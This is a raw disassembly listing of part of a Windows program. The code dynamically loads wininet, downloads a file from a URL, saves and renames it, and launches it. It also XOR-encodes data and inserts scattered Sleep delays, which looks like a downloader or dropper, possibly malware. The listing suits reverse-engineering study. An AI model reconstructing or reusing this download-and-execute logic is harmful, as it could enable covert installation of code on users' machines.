		mov	ecx, [ebp-10h]
		push	ecx
		lea	edx, [ebp-2Ch]
		push	edx
		lea	ecx, [ebp-20h]
		call	sub_421ACF
		mov	[ebp-38h], eax
		mov	eax, [ebp-38h]
		mov	[ebp-3Ch], eax
		mov	byte ptr [ebp-4], 3
		mov	ecx, [ebp-3Ch]
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_431648
		mov	byte ptr [ebp-4], 2
		lea	ecx, [ebp-2Ch]
		call	sub_431642
		mov	edx, [ebp-10h]
		push	edx
		call	dword_4331D4	; free
		add	esp, 4
		jmp	short loc_42263D
; ---------------------------------------------------------------------------


loc_422630:				; CODE XREF: HLXc:004225E4j
		push	offset dword_439C9C
		lea	ecx, [ebp-1Ch]
		call	sub_43163C


loc_42263D:				; CODE XREF: HLXc:0042262Ej
		lea	eax, [ebp-1Ch]
		push	eax
		mov	ecx, [ebp+8]
		call	sub_431636
		mov	ecx, [ebp-30h]
		or	ecx, 1
		mov	[ebp-30h], ecx
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-1Ch]
		call	sub_431642
		mov	byte ptr [ebp-4], 0
		lea	ecx, [ebp+0Ch]
		call	sub_431642
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422680	proc near		; CODE XREF: HLXc:00421BE1p
					; HLXc:00421BF9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_433200	; _mbsnbcpy
		add	esp, 0Ch
		pop	ebp
		retn
sub_422680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226A0	proc near		; CODE XREF: HLXc:00422560p
					; sub_4266E9+1Dp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn
sub_4226A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226B0	proc near		; CODE XREF: sub_422A1E+7Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4332DC
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4226B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226C7	proc near		; CODE XREF: sub_4229F0+Ap
					; sub_422BB1+26p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4332DC
		mov	esp, ebp
		pop	ebp
		retn
sub_4226C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226DB	proc near		; CODE XREF: sub_422C48+A6p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		call	sub_4227A4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jbe	loc_422798
		cmp	[ebp+arg_4], 0
		jz	short loc_422776
		push	0
		push	8000000h
		push	2
		push	0
		push	0
		push	40000000h
		mov	edx, [ebp+arg_4]
		push	edx
		call	dword_433018	; CreateFileA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_42273E
		xor	al, al
		jmp	short loc_42279E
; ---------------------------------------------------------------------------


loc_42273E:				; CODE XREF: sub_4226DB+5Dj
		mov	[ebp+var_C], 0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	dword_433050	; WriteFile
		mov	edx, [ebp+var_10]
		push	edx
		call	dword_433020	; CloseHandle
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_4]
		jz	short loc_422776
		xor	al, al
		jmp	short loc_42279E
; ---------------------------------------------------------------------------


loc_422776:				; CODE XREF: sub_4226DB+38j
					; sub_4226DB+95j
		mov	ecx, [ebp+var_14]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_422796
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		push	eax
		call	dword_43304C	; GlobalFree
		mov	ecx, [ebp+var_14]
		mov	dword ptr [ecx+4], 0


loc_422796:				; CODE XREF: sub_4226DB+A2j
		jmp	short loc_42279C
; ---------------------------------------------------------------------------


loc_422798:				; CODE XREF: sub_4226DB+2Ej
		xor	al, al
		jmp	short loc_42279E
; ---------------------------------------------------------------------------


loc_42279C:				; CODE XREF: sub_4226DB:loc_422796j
		mov	al, 1


loc_42279E:				; CODE XREF: sub_4226DB+61j
					; sub_4226DB+99j ...
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4226DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227A4	proc near		; CODE XREF: sub_4226DB+22p
					; sub_422EC3+35p

var_2034	= dword	ptr -2034h
var_2030	= dword	ptr -2030h
var_202C	= dword	ptr -202Ch
var_2028	= dword	ptr -2028h
var_2024	= dword	ptr -2024h
var_2020	= byte ptr -2020h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2034h
		call	sub_431700
		mov	[ebp+var_2034],	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_4227C4
		xor	eax, eax
		jmp	loc_4229EA
; ---------------------------------------------------------------------------


loc_4227C4:				; CODE XREF: sub_4227A4+17j
		mov	eax, [ebp+var_2034]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4227ED
		mov	ecx, [ebp+var_2034]
		mov	edx, [ecx+4]
		push	edx
		call	dword_43304C	; GlobalFree
		mov	eax, [ebp+var_2034]
		mov	dword ptr [eax+4], 0


loc_4227ED:				; CODE XREF: sub_4227A4+2Aj
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_4330DC	; LoadLibraryA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_422808
		xor	eax, eax
		jmp	loc_4229EA
; ---------------------------------------------------------------------------


loc_422808:				; CODE XREF: sub_4227A4+5Bj
		push	offset aInternetopena ;	"InternetOpenA"
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	dword_433060	; GetProcAddress
		mov	[ebp+var_202C],	eax
		push	offset aInternetopenur ; "InternetOpenUrlA"
		mov	edx, [ebp+var_1C]
		push	edx
		call	dword_433060	; GetProcAddress
		mov	[ebp+var_8], eax
		push	offset aInternetcloseh ; "InternetCloseHandle"
		mov	eax, [ebp+var_1C]
		push	eax
		call	dword_433060	; GetProcAddress
		mov	[ebp+var_10], eax
		push	offset aInternetreadfi ; "InternetReadFile"
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	dword_433060	; GetProcAddress
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_2034]
		mov	dword ptr [edx+4], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_2024],	0
		mov	[ebp+var_C], 0
		push	0
		push	0
		push	0
		push	1
		push	0
		call	[ebp+var_202C]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_422898
		xor	eax, eax
		jmp	loc_4229EA
; ---------------------------------------------------------------------------


loc_422898:				; CODE XREF: sub_4227A4+EBj
		push	0
		push	9
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	[ebp+var_8]
		mov	[ebp+var_2024],	eax
		cmp	[ebp+var_2024],	0
		jnz	short loc_4228C1
		xor	eax, eax
		jmp	loc_4229EA
; ---------------------------------------------------------------------------


loc_4228C1:				; CODE XREF: sub_4227A4+114j
		mov	[ebp+var_2028],	2000h
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_2034]
		cmp	dword ptr [edx+4], 0
		jz	short loc_4228FB
		mov	eax, [ebp+var_2034]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_43304C	; GlobalFree
		mov	edx, [ebp+var_2034]
		mov	dword ptr [edx+4], 0


loc_4228FB:				; CODE XREF: sub_4227A4+138j
		push	0
		push	40h
		call	dword_43305C	; GlobalAlloc
		mov	ecx, [ebp+var_2034]
		mov	[ecx+4], eax


loc_42290E:				; CODE XREF: sub_4227A4+1F9j
		lea	edx, [ebp+var_14]
		push	edx
		push	1FFFh
		lea	eax, [ebp+var_2020]
		push	eax
		mov	ecx, [ebp+var_2024]
		push	ecx
		call	[ebp+var_18]
		test	eax, eax
		jz	short loc_4229A2
		cmp	[ebp+var_14], 0
		jnz	short loc_422934
		jmp	short loc_4229A2
; ---------------------------------------------------------------------------


loc_422934:				; CODE XREF: sub_4227A4+18Cj
		mov	edx, [ebp+var_14]
		mov	[ebp+edx+var_2020], 0
		cmp	[ebp+var_14], 2000h
		jnb	short loc_422952
		mov	[ebp+var_2030],	0


loc_422952:				; CODE XREF: sub_4227A4+1A2j
		push	2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_2034]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433058	; GlobalReAlloc
		mov	ecx, [ebp+var_2034]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_14]
		push	edx
		lea	eax, [ebp+var_2020]
		push	eax
		mov	ecx, [ebp+var_2034]
		mov	edx, [ecx+4]
		add	edx, [ebp+var_4]
		push	edx
		call	sub_431764	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		jmp	loc_42290E
; ---------------------------------------------------------------------------


loc_4229A2:				; CODE XREF: sub_4227A4+186j
					; sub_4227A4+18Ej
		cmp	[ebp+var_20], 0
		jz	short loc_4229AF
		mov	ecx, [ebp+var_20]
		push	ecx
		call	[ebp+var_10]


loc_4229AF:				; CODE XREF: sub_4227A4+202j
		cmp	[ebp+var_2024],	0
		jz	short loc_4229C2
		mov	edx, [ebp+var_2024]
		push	edx
		call	[ebp+var_10]


loc_4229C2:				; CODE XREF: sub_4227A4+212j
		cmp	[ebp+var_C], 0
		jz	short loc_4229CF
		mov	eax, [ebp+var_C]
		push	eax
		call	[ebp+var_10]


loc_4229CF:				; CODE XREF: sub_4227A4+222j
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	dword_433054	; FreeLibrary
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2034]
		mov	ecx, [eax+4]
		mov	[edx], ecx
		mov	eax, [ebp+var_4]


loc_4229EA:				; CODE XREF: sub_4227A4+1Bj
					; sub_4227A4+5Fj ...
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4227A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229F0	proc near		; DATA XREF: HLXc:off_4332DCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4226C7
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_422A15
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_43161E
		add	esp, 4


loc_422A15:				; CODE XREF: sub_4229F0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4229F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A1E	proc near		; CODE XREF: sub_4298B0+34p
		mov	eax, offset loc_431D1B
		call	sub_43176A	; _EH_prolog
		sub	esp, 288h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[ebp-1Ch], esi
		call	sub_43164E
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+4]
		call	sub_43164E
		lea	ebx, [esi+8]
		mov	byte ptr [ebp-4], 1
		mov	ecx, ebx
		call	sub_43164E
		lea	ecx, [esi+10h]
		mov	byte ptr [ebp-4], 2
		call	sub_43164E
		lea	ecx, [esi+14h]
		mov	byte ptr [ebp-4], 3
		call	sub_43164E
		lea	edi, [esi+1Ch]
		mov	byte ptr [ebp-4], 4
		mov	ecx, edi
		call	sub_43164E
		lea	ecx, [esi+20h]
		mov	byte ptr [ebp-4], 5
		call	sub_43164E
		lea	ecx, [esi+24h]
		mov	byte ptr [ebp-4], 6
		call	sub_43164E
		lea	ecx, [esi+202Ch]
		mov	byte ptr [ebp-4], 7
		call	sub_4226B0
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 8
		call	sub_43164E
		lea	eax, [ebp-294h]
		push	127h
		push	eax
		mov	byte ptr [ebp-4], 9
		call	dword_4330D4	; GetWindowsDirectoryA
		lea	eax, [ebp-16Ch]
		push	104h
		push	eax
		push	0
		call	dword_4330D8	; GetModuleFileNameA
		lea	eax, [ebp-294h]
		mov	ecx, edi
		push	eax
		call	sub_43163C
		mov	edi, dword_4330E0
		push	22h
		call	edi	; Sleep
		lea	eax, [ebp-16Ch]
		lea	ecx, [esi+20h]
		push	eax
		call	sub_43163C
		lea	eax, [ebp-44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_424AE5
		lea	eax, [ebp-44h]
		mov	ecx, ebx
		push	eax
		call	sub_43163C
		push	26h
		call	edi	; Sleep
		push	49h
		lea	eax, [ebp-18h]
		push	offset aD_0	; "%d"
		push	eax
		call	dword_4331E0	; sprintf
		add	esp, 0Ch
		push	27h
		call	edi	; Sleep
		lea	eax, [ebp-18h]
		mov	ecx, esi
		push	eax
		call	sub_43163C
		push	ecx
		mov	eax, esp
		mov	[ebp-10h], esp
		push	esi
		push	ebx
		push	eax
		call	sub_431654
		lea	eax, [ebp-10h]
		mov	ecx, esi
		push	eax
		call	sub_422F54
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 0Ah
		call	sub_431648
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 9
		call	sub_431642
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp-10h], esp
		push	eax
		call	sub_431636
		mov	ecx, esi
		call	sub_4256EA
		test	al, al
		jz	short loc_422B90
		mov	byte ptr [esi+18h], 1
		jmp	short loc_422B94
; ---------------------------------------------------------------------------


loc_422B90:				; CODE XREF: sub_422A1E+16Aj
		push	27h
		call	edi	; Sleep


loc_422B94:				; CODE XREF: sub_422A1E+170j
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 8
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_422A1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BB1	proc near		; CODE XREF: sub_429830+4Dp
					; HLXc:004326C2p ...
		mov	eax, offset loc_431D7D
		call	sub_43176A	; _EH_prolog
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		push	0
		mov	dword ptr [ebp-4], 7
		call	dword_4332A8
		lea	ecx, [esi+202Ch]
		call	sub_4226C7
		lea	ecx, [esi+24h]
		mov	byte ptr [ebp-4], 6
		call	sub_431642
		lea	ecx, [esi+20h]
		mov	byte ptr [ebp-4], 5
		call	sub_431642
		lea	ecx, [esi+1Ch]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		lea	ecx, [esi+14h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		lea	ecx, [esi+10h]
		mov	byte ptr [ebp-4], 2
		call	sub_431642
		lea	ecx, [esi+8]
		mov	byte ptr [ebp-4], 1
		call	sub_431642
		and	byte ptr [ebp-4], 0
		lea	ecx, [esi+4]
		call	sub_431642
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_422BB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C48	proc near		; CODE XREF: sub_422E6E+30p

var_1844	= byte ptr -1844h
var_1044	= byte ptr -1044h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1844h
		call	sub_431700
		push	ebx
		mov	ebx, dword_4330CC
		push	esi
		push	edi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_844]
		mov	[ebp+var_4], ecx
		push	eax
		call	ebx	; lstrcpyA
		push	[ebp+arg_C]
		mov	esi, dword_433078
		lea	eax, [ebp+var_844]
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_844]
		push	offset a_bin	; ".bin"
		push	eax
		call	esi	; lstrcatA
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1844]
		push	eax
		call	ebx	; lstrcpyA
		push	[ebp+arg_C]
		lea	eax, [ebp+var_1844]
		push	eax
		call	esi	; lstrcatA
		cmp	byte ptr [ebp+arg_14], 0
		mov	[ebp+arg_C], 3
		mov	[ebp+var_8], 1
		jz	short loc_422CBD
		and	[ebp+var_8], 0


loc_422CBD:				; CODE XREF: sub_422C48+6Fj
		push	ecx
		mov	ecx, esp
		mov	[ebp+arg_14], esp
		push	offset aInstallzip ; "InstallZip()\n"
		call	sub_43162A
		mov	ecx, [ebp+var_4]
		call	sub_424AD9
		mov	edi, dword_4330E0


loc_422CDB:				; CODE XREF: sub_422C48+F1j
		lea	eax, [ebp+var_844]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		lea	ecx, [eax+202Ch]
		call	sub_4226DB
		test	al, al
		jz	short loc_422D2B
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_422D2B
		cmp	[ebp+arg_1C], 0
		jz	short loc_422D44
		push	[ebp+arg_1C]
		push	ecx
		mov	ecx, esp
		mov	[ebp+arg_14], esp
		push	[ebp+arg_8]
		call	sub_43162A
		mov	ecx, [ebp+var_4]
		call	sub_424A53
		cmp	al, 1
		jz	short loc_422D44


loc_422D2B:				; CODE XREF: sub_422C48+ADj
					; sub_422C48+BEj
		dec	[ebp+arg_C]
		push	0EA82h
		call	edi	; Sleep
		cmp	[ebp+arg_C], 0
		jnz	short loc_422CDB


loc_422D3B:				; CODE XREF: sub_422C48+1ABj
		xor	al, al


loc_422D3D:				; CODE XREF: sub_422C48+221j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
; ---------------------------------------------------------------------------


loc_422D44:				; CODE XREF: sub_422C48+C4j
					; sub_422C48+E1j
		push	[ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_4249D2
		test	al, al
		jz	loc_422E67
		cmp	[ebp+arg_10], 0
		jz	loc_422E67
		push	[ebp+arg_8]
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_422DC3
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1044]
		push	eax
		call	ebx	; lstrcpyA
		lea	eax, [ebp+var_1044]
		push	offset a_old	; ".old"
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_1044]
		push	1
		push	eax
		push	[ebp+arg_8]
		call	sub_421D8A
		lea	eax, [ebp+var_1044]
		push	eax
		call	sub_4221DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_422DC3
		lea	eax, [ebp+var_1044]
		push	1
		push	eax
		call	sub_421C92
		pop	ecx
		pop	ecx


loc_422DC3:				; CODE XREF: sub_422C48+12Bj
					; sub_422C48+169j
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	short loc_422DE4
		lea	eax, [ebp+var_844]
		push	1
		push	eax
		call	sub_421C92
		pop	ecx
		pop	ecx


loc_422DE4:				; CODE XREF: sub_422C48+18Aj
		lea	eax, [ebp+var_1844]
		push	eax
		call	sub_4221DB
		test	eax, eax
		pop	ecx
		jz	loc_422D3B
		push	2Bh
		call	edi	; Sleep
		push	45h
		call	edi	; Sleep
		push	3Ch
		lea	eax, [ebp+var_44]
		pop	esi
		push	esi
		push	0
		push	eax
		call	sub_431752	; memset
		lea	eax, [ebp+var_1844]
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_8]
		push	67h
		mov	[ebp+var_44], esi
		mov	[ebp+var_38], offset aOpen ; "OPEN"
		mov	[ebp+var_28], eax
		call	edi	; Sleep
		push	0B3h
		mov	[ebp+var_40], 40h
		call	edi	; Sleep
		cmp	[ebp+arg_C], 0
		jle	short loc_422E67
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_4263D6
		cmp	[ebp+arg_18], 0
		jz	short loc_422E67
		push	0FFFFFFFFh
		push	[ebp+var_C]
		call	dword_4330D0	; WaitForSingleObject


loc_422E67:				; CODE XREF: sub_422C48+110j
					; sub_422C48+11Aj ...
		mov	al, 1
		jmp	loc_422D3D
sub_422C48	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E6E	proc near		; CODE XREF: sub_4245AA+262p
		mov	eax, offset loc_431D88
		call	sub_43176A	; _EH_prolog
		push	ecx
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-4], 0
		mov	[ebp-10h], esp
		push	dword ptr [ebp+28h]
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_422C48
		test	al, al
		setnz	al
		jmp	short loc_422EB2
; ---------------------------------------------------------------------------


loc_422EAA:				; DATA XREF: HLXc:00434FA4o
		mov	eax, offset loc_422EB0
		retn
; ---------------------------------------------------------------------------


loc_422EB0:				; DATA XREF: sub_422E6E:loc_422EAAo
		xor	al, al


loc_422EB2:				; CODE XREF: sub_422E6E+3Aj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	24h
sub_422E6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EC3	proc near		; CODE XREF: sub_42852F+6D9p

var_868		= byte ptr -868h
var_68		= byte ptr -68h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 868h
		push	ebx
		push	esi
		push	edi
		mov	esi, dword_4330CC
		push	3
		lea	eax, [ebp+var_868]
		pop	edi
		mov	ebx, ecx
		push	[ebp+arg_0]
		push	eax
		call	esi	; lstrcpyA
		add	ebx, 202Ch


loc_422EEC:				; CODE XREF: sub_422EC3+85j
		push	[ebp+arg_4]
		lea	eax, [ebp+var_868]
		mov	ecx, ebx
		push	eax
		call	sub_4227A4
		test	eax, eax
		mov	[ebp+var_4], eax
		jbe	short loc_422F06
		xor	edi, edi


loc_422F06:				; CODE XREF: sub_422EC3+3Fj
		test	edi, edi
		jz	short loc_422F4A
		dec	edi
		lea	eax, [ebp+var_68]
		push	edi
		push	offset aRetryD	; "&retry=%d"
		push	eax
		call	dword_4331E0	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_868]
		push	[ebp+arg_0]
		push	eax
		call	esi	; lstrcpyA
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_868]
		push	eax
		call	dword_433078	; lstrcatA
		push	49402h
		call	dword_4330E0	; Sleep
		test	edi, edi
		jnz	short loc_422EEC


loc_422F4A:				; CODE XREF: sub_422EC3+45j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_422EC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F54	proc near		; CODE XREF: sub_422A1E+134p
					; sub_4245AA+F9p ...
		mov	eax, offset loc_431DBB
		call	sub_43176A	; _EH_prolog
		mov	eax, 4010h
		call	sub_431700
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		push	edi
		mov	dl, ds:byte_439CA0
		mov	esi, 7FFh
		mov	ecx, esi
		xor	eax, eax
		lea	edi, [ebp-201Bh]
		mov	[ebp-201Ch], dl
		rep stosd
		stosw
		stosb
		mov	ecx, esi
		xor	eax, eax
		lea	edi, [ebp-401Bh]
		mov	[ebp-401Ch], dl
		rep stosd
		stosw
		lea	ecx, [ebp-10h]
		mov	dword ptr [ebp-4], 1
		stosb
		call	sub_43164E
		push	offset dword_4370EC
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 2
		call	sub_43163C
		mov	eax, [ebp+0Ch]
		xor	esi, esi
		mov	ebx, [eax-8]
		test	ebx, ebx
		jle	short loc_423013
		mov	edi, [ebp-10h]
		mov	[ebp-14h], eax
		lea	eax, [ebp-201Ch]
		sub	[ebp-14h], eax


loc_422FDF:				; CODE XREF: sub_422F54+BDj
		test	esi, esi
		jle	short loc_422FF8
		mov	ecx, [edi-8]
		mov	eax, esi
		cdq
		idiv	ecx
		test	eax, eax
		mov	eax, esi
		jle	short loc_422FFA
		cdq
		idiv	ecx
		mov	eax, edx
		jmp	short loc_422FFA
; ---------------------------------------------------------------------------


loc_422FF8:				; CODE XREF: sub_422F54+8Dj
		mov	eax, esi


loc_422FFA:				; CODE XREF: sub_422F54+9Bj
					; sub_422F54+A2j
		mov	edx, [ebp-14h]
		mov	al, [eax+edi]
		lea	ecx, [ebp+esi-201Ch]
		mov	dl, [edx+ecx]
		xor	al, dl
		inc	esi
		cmp	esi, ebx
		mov	[ecx], al
		jl	short loc_422FDF


loc_423013:				; CODE XREF: sub_422F54+7Aj
		xor	esi, esi
		test	ebx, ebx
		jle	short loc_42304D


loc_423019:				; CODE XREF: sub_422F54+F7j
		movzx	eax, byte ptr [ebp+esi-201Ch]
		push	eax
		lea	eax, [ebp-16h]
		push	offset a02x	; "%02X"
		push	eax
		call	dword_4331E0	; sprintf
		lea	eax, [ebp-16h]
		push	eax
		lea	eax, [ebp-401Ch]
		push	eax
		call	sub_431770	; strcat
		mov	eax, [ebp+0Ch]
		add	esp, 14h
		inc	esi
		cmp	esi, [eax-8]
		jl	short loc_423019


loc_42304D:				; CODE XREF: sub_422F54+C3j
		push	offset byte_439CA0
		lea	ecx, [ebp+0Ch]
		call	sub_43163C
		mov	ecx, [ebp+8]
		lea	eax, [ebp-401Ch]
		push	eax
		call	sub_43162A
		mov	dword ptr [ebp-1Ch], 1
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_431642
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp+0Ch]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_422F54	endp


; =============== S U B	R O U T	I N E =======================================



sub_42309C	proc near		; CODE XREF: sub_424AE5+F3p
					; sub_424AE5+142p ...
		mov	eax, offset loc_431DF7
		call	sub_43176A	; _EH_prolog
		mov	eax, 6018h
		call	sub_431700
		mov	dl, ds:byte_439CA0
		push	ebx
		push	esi
		mov	[ebp-20h], ecx
		mov	esi, 7FFh
		push	edi
		mov	ecx, esi
		xor	eax, eax
		lea	edi, [ebp-4023h]
		mov	[ebp-4024h], dl
		rep stosd
		stosw
		stosb
		mov	ecx, esi
		xor	eax, eax
		lea	edi, [ebp-2023h]
		mov	[ebp-2024h], dl
		rep stosd
		stosw
		xor	ebx, ebx
		lea	ecx, [ebp-10h]
		mov	[ebp-1Ch], ebx
		stosb
		call	sub_43164E
		lea	ecx, [ebp-18h]
		mov	dword ptr [ebp-4], 1
		call	sub_43164E
		push	67h
		mov	byte ptr [ebp-4], 2
		call	dword_4330E0	; Sleep
		mov	esi, [ebp+10h]
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-6024h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword_4330C8	; lstrcpynA
		push	offset dword_4370EC
		lea	ecx, [ebp-10h]
